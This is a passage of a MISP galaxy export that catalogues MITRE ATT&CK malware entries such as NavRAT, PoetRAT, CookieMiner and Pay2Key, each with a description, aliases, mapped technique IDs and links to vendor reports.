- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5523. Table References

Links
https://attack.mitre.org/software/S0264
https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/
https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/

Ecipekac - S0624

[Ecipekac](https://attack.mitre.org/software/S0624) is a multi-layer loader that has been used by [menuPass](https://attack.mitre.org/groups/G0045) since at least 2019 including use as a loader for [P8RAT](https://attack.mitre.org/software/S0626), [SodaMaster](https://attack.mitre.org/software/S0627), and [FYAnti](https://attack.mitre.org/software/S0628).(Citation: Securelist APT10 March 2021)

The tag is: *misp-galaxy:mitre-malware="Ecipekac - S0624"*

Ecipekac - S0624 is also known as:

- Ecipekac
- HEAVYHAND
- SigLoader
- DESLoader

View relationships graph

Ecipekac - S0624 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5524. Table References

Links
https://attack.mitre.org/software/S0624
https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/

NavRAT - S0247

[NavRAT](https://attack.mitre.org/software/S0247) is a remote access tool designed to upload, download, and execute files. It has been observed in attacks targeting South Korea. (Citation: Talos NavRAT May 2018)

The tag is: *misp-galaxy:mitre-malware="NavRAT - S0247"*

NavRAT - S0247 is also known as:

- NavRAT

View relationships graph

NavRAT - S0247 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5525. Table References

Links
https://attack.mitre.org/software/S0247
https://blog.talosintelligence.com/2018/05/navrat.html

Calisto - S0274

[Calisto](https://attack.mitre.org/software/S0274) is a macOS Trojan that opens a backdoor on the compromised machine. [Calisto](https://attack.mitre.org/software/S0274) is believed to have first been developed in 2016. (Citation: Securelist Calisto July 2018) (Citation: Symantec Calisto July 2018)

The tag is: *misp-galaxy:mitre-malware="Calisto - S0274"*

Calisto - S0274 is also known as:

- Calisto

View relationships graph

Calisto - S0274 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keychain - T1555.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launchctl - T1569.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1056.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5526. Table References

Links
https://attack.mitre.org/software/S0274
https://securelist.com/calisto-trojan-for-macos/86543/
https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days

TrickMo - S0427

[TrickMo](https://attack.mitre.org/software/S0427) a 2FA bypass mobile banking trojan, most likely being distributed by [TrickBot](https://attack.mitre.org/software/S0266). [TrickMo](https://attack.mitre.org/software/S0427) has been primarily targeting users located in Germany.(Citation: SecurityIntelligence TrickMo)

[TrickMo](https://attack.mitre.org/software/S0427) is designed to steal transaction authorization numbers (TANs), which are typically used as one-time passwords.(Citation: SecurityIntelligence TrickMo)

The tag is: *misp-galaxy:mitre-malware="TrickMo - S0427"*

TrickMo - S0427 is also known as:

* TrickMo

View relationships graph

TrickMo - S0427 has relationships with:

* uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Uninstall Malicious Application - T1576" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1402" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5527. Table References

Links
https://attack.mitre.org/software/S0427
https://securityintelligence.com/posts/trickbot-pushing-a-2fa-bypass-app-to-bank-customers-in-germany/

down_new - S0472

```
[down_new](https://attack.mitre.org/software/S0472) is a downloader that has been used
by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least
2019.(Citation: Trend Micro Tick November 2019)
```

The tag is: *misp-galaxy:mitre-malware="down_new - S0472"*

down_new - S0472 is also known as:

- down_new

View relationships graph

down_new - S0472 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5528. Table References

Links
https://attack.mitre.org/software/S0472
https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf

PoetRAT - S0428

[PoetRAT](https://attack.mitre.org/software/S0428) is a remote access trojan (RAT) that was first identified in April 2020. [PoetRAT](https://attack.mitre.org/software/S0428) has been used in multiple campaigns against the private and public sectors in Azerbaijan, including ICS and SCADA systems in the energy sector. The STIBNITE activity group has been observed using the malware. [PoetRAT](https://attack.mitre.org/software/S0428) derived its name from references in the code to poet William Shakespeare. (Citation: Talos PoetRAT April 2020)(Citation: Talos PoetRAT October 2020)(Citation: Dragos Threat Report 2020)

The tag is: *misp-galaxy:mitre-malware="PoetRAT - S0428"*

PoetRAT - S0428 is also known as:

- PoetRAT

View relationships graph

PoetRAT - S0428 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Transfer Protocols - T1071.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 5529. Table References

Links
https://attack.mitre.org/software/S0428
https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html
https://blog.talosintelligence.com/2020/10/poetrat-update.html
https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020_ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770

Bundlore - S0482

[Bundlore](https://attack.mitre.org/software/S0482) is adware written for macOS that has been in use since at least 2015. Though categorized as adware, [Bundlore](https://attack.mitre.org/software/S0482) has many features associated with more traditional backdoors.(Citation: MacKeeper Bundlore Apr 2019)

The tag is: *misp-galaxy:mitre-malware="Bundlore - S0482"*

Bundlore - S0482 is also known as:

- Bundlore
- OSX.Bundlore

View relationships graph

Bundlore - S0482 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="AppleScript - T1059.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH Authorized Keys - T1098.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1056.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5530. Table References

Links
https://attack.mitre.org/software/S0482
https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/

More_eggs - S0284

[More_eggs](https://attack.mitre.org/software/S0284) is a JScript backdoor used by [Cobalt Group](https://attack.mitre.org/groups/G0080) and [FIN6](https://attack.mitre.org/groups/G0037). Its name was given based on the variable "More_eggs" being present in its code. There are at least two different versions of the backdoor being used, version 2.0 and version 4.4. (Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)

The tag is: *misp-galaxy:mitre-malware="More_eggs - S0284"*

More_eggs - S0284 is also known as:

- More_eggs
- SKID
- Terra Loader
- SpicyOmelette

View relationships graph

More_eggs - S0284 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5531. Table References

Links
https://attack.mitre.org/software/S0284
https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/
https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf
https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/

yty - S0248

[yty](https://attack.mitre.org/software/S0248) is a modular, plugin-based malware framework. The components of the framework are written in a variety of programming languages. (Citation: ASERT Donot March 2018)

The tag is: *misp-galaxy:mitre-malware="yty - S0248"*

yty - S0248 is also known as:

- yty

View relationships graph

yty - S0248 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

* uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

Table 5532. Table References

Links
https://attack.mitre.org/software/S0248
https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/

ShiftyBug - S0294

[ShiftyBug](https://attack.mitre.org/software/S0294) is an auto-rooting adware family of malware for Android. The family is very similar to the other Android families known as Shedun, Shuanet, Kemoge, though it is not believed all the families were created by the same group. (Citation: Lookout-Adware)

The tag is: *misp-galaxy:mitre-malware="ShiftyBug - S0294"*

ShiftyBug - S0294 is also known as:

* ShiftyBug

View relationships graph

ShiftyBug - S0294 has relationships with:

- similar: misp-galaxy:android="Kemoge" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"

Table 5533. Table References

Links
https://attack.mitre.org/software/S0294
https://blog.lookout.com/blog/2015/11/04/trojanized-adware/

CookieMiner - S0492

[CookieMiner](https://attack.mitre.org/software/S0492) is mac-based malware that targets information associated with cryptocurrency exchanges as well as enabling cryptocurrency mining on the victim system itself. It was first discovered in the wild in 2019.(Citation: Unit42 CookieMiner Jan 2019)

The tag is: *misp-galaxy:mitre-malware="CookieMiner - S0492"*

CookieMiner - S0492 is also known as:

- CookieMiner

View relationships graph

CookieMiner - S0492 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 5534. Table References

Links
https://attack.mitre.org/software/S0492
https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/

Pay2Key - S0556

[Pay2Key](https://attack.mitre.org/software/S0556) is a ransomware written in C++ that has been used by [Fox Kitten](https://attack.mitre.org/groups/G0117) since at least July 2020 including campaigns against Israeli companies. [Pay2Key](https://attack.mitre.org/software/S0556) has been incorporated with a leak site to display stolen sensitive information to further pressure victims into payment.(Citation: ClearkSky Fox Kitten February 2020)(Citation: Check Point Pay2Key November 2020)

The tag is: *misp-galaxy:mitre-malware="Pay2Key - S0556"*

Pay2Key - S0556 is also known as:

- Pay2Key

View relationships graph

Pay2Key - S0556 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

Table 5535. Table References

Links
https://attack.mitre.org/software/S0556
https://research.checkpoint.com/2020/ransomware-alert-pay2key/
https://www.clearskysec.com/fox-kitten/

DDKONG - S0255

[DDKONG](https://attack.mitre.org/software/S0255) is a malware sample that was part of a campaign by [Rancor](https://attack.mitre.org/groups/G0075). [DDKONG](https://attack.mitre.org/software/S0255) was first seen used in February 2017. (Citation: Rancor Unit42 June 2018)

The tag is: *misp-galaxy:mitre-malware="DDKONG - S0255"*

View relationships graph

DDKONG - S0255 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

